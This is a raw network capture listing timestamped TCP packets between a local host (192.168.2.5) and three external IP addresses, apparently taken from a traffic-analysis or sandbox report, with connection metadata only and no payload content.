Jan 4, 2022 19:33:51.767662048 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767679930 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767695904 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767709017 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767729998 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767749071 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767764091 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767779112 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767798901 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767816067 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767834902 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767865896 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767869949 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767885923 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767901897 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767918110 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767939091 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767949104 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767973900 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767988920 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768007994 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768023968 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768042088 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768057108 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768076897 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768091917 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768114090 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768129110 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768147945 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768172979 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768199921 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768224955 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768229008 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768248081 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768258095 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768265009 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768270016 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768270016 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768275976 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768294096 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768296003 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768316984 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768322945 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768340111 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768357038 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.768362045 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768373966 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768388033 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.768450022 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.785008907 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.785064936 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.785104036 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.785119057 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.785142899 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.785147905 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.785157919 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.785181999 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.785196066 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.785222054 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.785242081 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.785258055 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.785284042 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.785305977 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.785331964 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.785373926 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.785383940 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.785425901 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786025047 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786094904 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786192894 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786257029 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786262989 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786302090 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786326885 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786350012 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786530972 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786571026 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786609888 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786617994 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786633015 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786648035 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786653996 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786688089 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786704063 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786727905 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786751032 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786766052 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786782026 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786808014 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786813021 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786848068 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786860943 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786885023 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786899090 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786925077 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786933899 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.786966085 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.786979914 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.787004948 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.787019014 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.787045002 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.787058115 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.787081957 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.787121058 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.787128925 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.787161112 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.787178040 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.787199020 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.787211895 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.787237883 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.787250996 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.787276030 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.787287951 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.787314892 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.787380934 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.787409067 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.803888083 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.803944111 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.803983927 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804022074 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804039001 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804060936 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804064989 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804069996 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804100037 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804104090 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804132938 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804136992 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804176092 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804209948 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804214001 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804229021 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804231882 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804254055 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804295063 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804332018 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804366112 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804369926 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804372072 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804374933 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804409027 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804439068 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804446936 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804486036 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804523945 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804563046 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804603100 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804640055 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804647923 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804655075 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804658890 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804661989 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804677963 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804718018 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804743052 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804748058 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804752111 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804755926 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804759026 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804799080 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804820061 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804836988 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.804852009 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804857016 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804892063 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.804995060 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805032015 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805058956 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805097103 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805099010 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805136919 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805141926 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805167913 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805175066 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805212975 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805248022 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805254936 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805296898 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805315018 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805324078 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805334091 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805346966 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805373907 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805386066 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805414915 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805416107 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805433035 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805471897 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805490017 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805531979 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805545092 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805572987 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805582047 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805625916 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805632114 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805671930 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805675983 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805723906 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805726051 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805774927 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805783033 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805833101 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805838108 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805870056 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805885077 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805918932 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805927992 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.805975914 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.805983067 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806029081 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806030989 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806080103 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806087017 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806123018 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806134939 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806147099 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806195021 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806202888 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806236029 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806252003 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806289911 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806293964 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806344032 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806349039 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806391001 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806402922 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806427002 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806440115 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806467056 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806480885 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806505919 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806514025 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806544065 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806556940 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806583881 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806596994 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806623936 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806634903 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806679010 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806691885 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806711912 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806741953 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806755066 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806777954 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806781054 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806794882 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806819916 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806829929 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806860924 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806870937 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806901932 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806916952 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806941986 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806953907 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.806981087 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.806993961 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.807019949 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.807034969 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.807058096 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.807070017 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.807096958 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.807111025 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.807135105 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.807151079 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.807176113 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.807180882 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.807215929 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.807230949 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.807254076 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.807269096 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.807352066 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.811660051 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:52.220659971 CET	49846	38133	192.168.2.5	86.107.197.138
Jan 4, 2022 19:33:52.255227089 CET	38133	49846	86.107.197.138	192.168.2.5
Jan 4, 2022 19:33:52.255259037 CET	38133	49846	86.107.197.138	192.168.2.5
Jan 4, 2022 19:33:52.255280972 CET	38133	49846	86.107.197.138	192.168.2.5
Jan 4, 2022 19:33:52.255353928 CET	49846	38133	192.168.2.5	86.107.197.138
Jan 4, 2022 19:33:52.637106895 CET	49847	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.638283968 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.697741032 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.697879076 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.698940992 CET	80	49847	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.699356079 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.758757114 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.759586096 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.759628057 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.759663105 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.759699106 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.759715080 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.759732008 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.759740114 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.759768009 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.759773970 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.759803057 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.759803057 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.759814978 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.759835958 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.759855032 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.759872913 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.759886026 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.759907961 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.759922028 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.759957075 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.819402933 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819457054 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819497108 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819533110 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819545984 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.819571972 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.819571972 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819607973 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.819612026 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819622040 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.819648981 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819667101 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.819686890 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819700003 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.819725990 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819761992 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819777012 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.819798946 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819803953 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.819837093 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819875002 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819889069 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.819915056 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819924116 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.819952011 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.819988966 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.820003033 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.820028067 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.820040941 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.820065022 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.820101976 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.820116043 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.820139885 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.820152044 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.822048903 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.879555941 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.879606962 CET	80	49876	185.7.214.239	192.168.2.5
